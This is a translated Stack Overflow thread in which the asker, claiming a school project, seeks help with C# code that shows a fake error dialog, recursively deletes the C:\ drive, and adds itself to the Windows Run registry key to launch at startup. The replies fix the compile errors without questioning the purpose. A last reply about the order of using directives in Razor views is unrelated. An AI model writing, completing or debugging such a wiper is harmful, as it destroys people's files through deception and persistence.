2012-02-21 64 views
1

我想創建一個應用程序,在啓動時刪除用戶文檔(我知道這聽起來可能是惡意的,但它是針對學校項目的)。命名空間不能直接包含成員,如字段或方法?

但是,我收到錯誤「名稱空間不能直接包含成員,如字段或方法」。

看着它,它似乎很好?我希望第二雙眼睛可以幫助,因爲我到處搜索,我找不到相關的解決方案!

不可否認,由於我非常基礎的知識,我在網上和書本上使用了很多幫助,而且我對c#的瞭解有限。因此,我可能只是愚蠢的,但每個人都必須從某個地方開始,對吧?

的代碼如下:

namespace Test 
{ 
class Program 
    { 
    static void Main(string[] args) 
     { 
     MessageBox.Show("An unexpected error occured"); 
     if (System.IO.Directory.Exists(@"C:\")) 
     { 
      try 
      { 
       System.IO.Directory.Delete("C:\\", true); 
      } 

      catch (System.IO.IOException e) 
      { 
       Console.WriteLine(e.Message); 
      } 
     } 
    } 
    } 
public class Program 
{ 
    private void SetStartup(); 
    } 

     RegistryKey rk = Registry.CurrentUser.OpenSubKey 
      ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); 

     if (chkStartUp.Checked) 
      rk.SetValue(AppName, Application.ExecutablePath.ToString()); 
     else 
      rk.DeleteValue(AppName, false); 

    } 
+0

軋製回其固定格式的編輯,因爲缺乏格式是有效*問題的一部分*。如果OP的代碼被格式化爲正確的格式,他們可能已經注意到了這個問題 - 所以改變這個問題以假裝已經*格式化就隱藏了一個重要的問題。 – 2012-02-21 19:28:34

+0

[錯誤「名稱空間不直接包含成員,如字段或方法」]的可能重複](http://stackoverflow.com/questions/2090369/error-a-namespace-does-not-directly-contain-members-如字段或方法) – 2014-07-15 22:17:24

回答

9

你的代碼是嚴重搞砸左右SetStartup。如果你遵循正常的縮進,你會更清楚地看到發生了什麼。在Visual Studio中按Ctrl-E後跟D,它會重新格式化文檔 - 這應該使事情變得更清晰。

看這個(我縮進之後):

public class Program 
{ 
    private void SetStartup(); 
} 

RegistryKey rk = [...]; 

這是試圖聲明一個類的外部變量(rk)。你也有一個沒有主體的非抽象方法,最後你錯過了大括號。

我懷疑你意味着它是:

public class Program 
{ 
    // Note: no semi-colon, and an *opening* brace 
    private void SetStartup() 
    { 
     RegistryKey rk = [...]; 
     // Other code 
    } 
} 

// And you'd want to close the namespace declaration too 

你也將有聲明瞭兩個(非部分)類具有相同名稱的問題...

+0

我現在正在「名稱AppName不存在於當前上下文中」 與chkStartUp相同嗎? – user1224163 2012-02-21 19:44:33

+0

@ user1224163:那麼對於'Program'類你有兩個不同的聲明,這對我們也沒有幫助......並且我們不知道'chkStartUp'是什麼... – 2012-02-21 19:48:44

+0

Sorted, 我當時是白癡(很明顯).. 感謝您的幫助,很抱歉浪費您的時間! – user1224163 2012-02-21 19:49:57

0

你有錯放支架和分號,應該是:

private void SetStartup() 
{ 

    RegistryKey rk = Registry.CurrentUser.OpenSubKey 
     ("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); 

    //.. 
} 
0

在我的情況在剃刀是報告編譯器該錯誤查看第1行的代碼是FOL降低:

@using Microsoft.AspNet.Identity; 
@using MyApp.Helpers; 

我只是改變了使用的順序,並解決了問題。

@using MyApp.Helpers; 
@using Microsoft.AspNet.Identity; 

我的同事們也種法定報告他們面對這可以通過改變命名空間的順序解決此編譯器錯誤。

我使用Visual Studio 2013更新5和.NET Framework 4.5

相關問題